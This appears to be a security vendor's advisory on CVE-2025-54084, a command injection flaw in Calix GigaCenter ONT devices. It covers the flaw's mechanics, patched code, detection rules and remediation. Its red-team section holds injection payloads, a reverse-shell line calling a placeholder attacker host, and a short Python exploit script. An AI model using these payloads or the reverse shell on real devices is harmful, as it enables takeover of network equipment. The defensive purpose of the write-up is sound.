CVE-2025-54084

Executive Summary

CVE-2025-54084 is an OS Command Injection vulnerability affecting Calix GigaCenter ONT devices with Quantenna SoC modules. The flaw allows authenticated attackers with 'super' user credentials to execute arbitrary OS commands due to improper input validation. This can lead to full system compromise, including data exfiltration, lateral movement, and persistent backdoor installation. The affected models are 844E, 844G, 844GE, and 854GE. No public exploit or patch is currently available, but the vulnerability is critical for network operators using these devices.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (authenticated command injection with super user privileges), the estimated CVSS v3.1 score is 8.8 (High).

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (super user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality: High
• Integrity: High
• Availability: High

The threat level is elevated due to the potential for full device takeover and the prevalence of these devices in ISP networks.

Deep Dive & Mechanics

The vulnerability resides in the web management interface or CLI of the Calix GigaCenter ONT. The device fails to sanitize user-supplied input before passing it to a system shell. An authenticated super user can inject OS commands via parameters such as diagnostic tools, ping, traceroute, or firmware update fields. The injection occurs because the application concatenates user input directly into a command string without proper escaping or validation.

Example vulnerable parameter:
ping -c 4 <user_input>
If user_input is 127.0.0.1; id, the executed command becomes ping -c 4 127.0.0.1; id, which runs the id command after ping.

Vulnerable vs. Patched Code

Vulnerable Code (pseudo):

import subprocess
def ping_host(ip):
    cmd = "ping -c 4 " + ip
    subprocess.call(cmd, shell=True)

Patched Code (pseudo):

import subprocess
def ping_host(ip):
    # Validate input is an IP address
    if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
        raise ValueError("Invalid IP")
    cmd = ["ping", "-c", "4", ip]
    subprocess.call(cmd, shell=False)

The patched version uses a list of arguments and disables shell execution, preventing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Calix GigaCenter ONT (e.g., 844G) or use a virtualized environment.
2. Access the web interface with super user credentials (e.g., admin/admin).
3. Navigate to a diagnostic page (e.g., ping/traceroute).

Exploitation Steps:

1. Inject command in the IP field:
   127.0.0.1; whoami
2. Observe output showing the current user.
3. For reverse shell:
   127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Use netcat to listen:

   nc -lvnp 4444
   

Automated Exploit (Python):

import requests

target = "http://192.168.1.1"
cmd = "id"
payload = f"127.0.0.1; {cmd}"
data = {"ip": payload, "action": "ping"}
r = requests.post(f"{target}/diagnostics.cgi", data=data, auth=("super", "password"))
print(r.text)

Blue Team

Detection:

• Monitor for unusual command execution in device logs.
• Look for shell metacharacters (;, |, &, $()) in diagnostic inputs.
• Use network monitoring to detect reverse shell traffic (e.g., outbound connections to uncommon ports).

Honeypot:
Deploy a fake diagnostic endpoint that logs all inputs and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from ONT to external IPs on ports 4444, 1337, or 31337.
  • HTTP POST requests to /diagnostics.cgi with shell metacharacters.
• File System:
  • Unexpected files in /tmp/ or /var/run/ (e.g., .backdoor.sh).
  • Modified /etc/passwd or /etc/shadow.
• Process:
  • Running processes like bash, nc, python spawned from web server.
• Logs:
  • Syslog entries showing command injection attempts:
    "ping -c 4 127.0.0.1; id"

Detection Engineering

YARA Rule

rule CVE_2025_54084_Command_Injection {
    meta:
        description = "Detects command injection attempts in Calix GigaCenter ONT"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54084"
    strings:
        $cmd1 = /127\.0\.0\.1\s*[;&|]/
        $cmd2 = /ping\s+-c\s+\d+\s+.*[;&|]/
        $cmd3 = /traceroute\s+.*[;&|]/
    condition:
        any of them
}

Sigma Rule

title: Calix GigaCenter Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts in Calix GigaCenter ONT diagnostic endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/diagnostics.cgi'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54084 Calix GigaCenter Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/diagnostics.cgi"; http_uri; content:"ip="; http_client_body; pcre:"/127\.0\.0\.1\s*[;&|]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict super user access to trusted administrators only.
2. Disable diagnostic features if not required.
3. Implement network segmentation to isolate ONT devices.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to a patched firmware version.
• Use input validation and parameterized commands in all web interfaces.

Workaround:

• Deploy a WAF rule to block shell metacharacters in diagnostic parameters.
• Monitor logs for injection attempts and alert SOC.

Valters IT
Securing Digital Frontiers